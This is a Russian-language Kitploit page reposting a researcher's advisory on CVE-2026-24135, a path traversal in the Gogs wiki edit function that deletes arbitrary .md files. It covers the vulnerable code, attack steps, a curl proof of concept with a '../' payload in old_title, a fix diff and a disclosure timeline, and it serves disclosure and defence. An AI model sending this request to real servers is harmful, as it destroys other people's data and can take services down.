Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-24135 — Произвольное удаление файлов в Gogs через обход пути в Wiki | Kitploit
Инструменты/GitHubGitHub/reschjonas/cve-2026-24135
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеОбучение и Образование
GitHubreschjonas/cve-2026-24135

CVE-2026-24135

Произвольное удаление файлов в Gogs через обход пути в Wiki

Репозиторий
154 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-24135: Произвольное удаление файлов в Gogs через обход пути в Wiki

Серьёзность: Высокая (CVSS 7.5)
Затронутое ПО: Gogs <= 0.13.3
Исправлено в: 0.13.4, 0.14.0+dev
Уведомление о безопасности: GHSA-jp7c-wj6q-3qf2
Патч: gogs/gogs#8099


Краткое описание

В ходе аудита безопасности Gogs (популярного самохостингового Git-сервиса, написанного на Go) я обнаружил уязвимость обхода пути в функции updateWikiPage. Она позволяет аутентифицированному пользователю с правом записи в wiki удалять произвольные файлы на сервере, внедряя последовательности обхода пути в параметр old_title формы редактирования wiki.


Первопричина

Уязвимость представляет собой асимметричный дефект санитизации в internal/database/wiki.go. При обновлении страницы wiki функция по-разному обрабатывает два параметра заголовка:

ПараметрСанитизация?Используется в
title (новое имя)Да — через ToWikiPageName()path.Join() для создания файла
oldTitle (предыдущее имя)Нетpath.Join() + os.Remove()

Уязвимый код

// internal/database/wiki.go

// Line 105: New title IS sanitized
title = ToWikiPageName(title)
filename := path.Join(localPath, title+".md")

// Lines 113-115: Old title is NOT sanitized before os.Remove()
} else {
    os.Remove(path.Join(localPath, oldTitle+".md"))  // ← VULNERABLE
}

Значение oldTitle передаётся напрямую из управляемого пользователем поля формы через обработчик маршрута в os.Remove() без какой-либо санитизации пути.


Поток данных

User Input (Form)          Route Handler                    Database Function
┌─────────────────┐        ┌─────────────────────┐          ┌──────────────────────────┐
│ f.OldTitle      │───────>│ EditWikiPost()      │─────────>│ updateWikiPage()         │
│ (unsanitized)   │        │ wiki.go:246         │          │                          │
└─────────────────┘        │                     │          │ Line 114:                │
                           │ No sanitization!    │          │ os.Remove(path.Join(     │
                           │                     │          │   localPath,             │
                           └─────────────────────┘          │   oldTitle+".md"))       │
                                                            └──────────────────────────┘

Вектор атаки

Предварительные условия: аутентифицированный пользователь с правом записи в wiki любого репозитория.

  1. Перейдите к редактированию существующей страницы wiki
  2. Перехватите POST-запрос к /repo/wiki/edit
  3. Измените поле формы old_title, добавив в него последовательности обхода пути (например, ../../../../tmp/target_file)
  4. Отправьте запрос
  5. Сервер следует по пути обхода и удаляет целевой файл

Доказательство концепции

# Step 1: Authenticate and create/edit a wiki page
# Step 2: Intercept the POST request and inject traversal in old_title

curl -X POST "https://gogs.example.com/user/repo/wiki/TestPage?action=_edit" \
  -H "Cookie: i_like_gogs=<session_cookie>" \
  -d "old_title=../../../../../../../tmp/target_file" \
  -d "title=TestPage" \
  -d "content=test" \
  -d "message=test"

# Result: /tmp/target_file.md is deleted from the server

Расширение .md добавляется автоматически. Любой файл с расширением .md, к которому у процесса Gogs есть доступ на запись, может быть удалён.


Влияние

ВлияниеОписание
Произвольное удаление файловУдаление любого .md-файла, к которому у процесса Gogs есть доступ на запись
Отказ в обслуживанииУдаление критически важных конфигурационных файлов или файлов данных
Потеря данныхУничтожение wiki-страниц, документации или файлов репозиториев других пользователей
Потенциальная эскалацияВ сочетании с другими уязвимостями может привести к дальнейшей компрометации

Исправление

Примените к oldTitle ту же санитизацию с помощью ToWikiPageName, которая уже применяется к title:

 func (r *Repository) updateWikiPage(doer *User, oldTitle, title, content, message string, isNew bool) (err error) {
     // ... existing code ...

     title = ToWikiPageName(title)

+    // Sanitize oldTitle to prevent path traversal
+    if oldTitle != "" {
+        oldTitle = ToWikiPageName(oldTitle)
+    }

     filename := path.Join(localPath, title+".md")
     // ...
 }

Я предложил это исправление в ходе раскрытия информации, и мейнтейнеры Gogs реализовали его в PR #8099.


Хронология раскрытия

ДатаСобытие
2025-12-13Уязвимость обнаружена в ходе аудита безопасности
2025-12-13Уведомление подано через GitHub Security Advisory (GHSA-jp7c-wj6q-3qf2)
2026-01-20Повторное обращение к мейнтейнерам Gogs
2026-01-20Мейнтейнер подтвердил уязвимость
2026-01-22Патч объединён (#8099)
2026-01-22CVE-2026-24135 присвоен GitHub
2026-02-06Публичное раскрытие

Ссылки

  • GitHub Security Advisory: GHSA-jp7c-wj6q-3qf2
  • Патч: gogs/gogs#8099
  • Проект Gogs
Скачать инструмент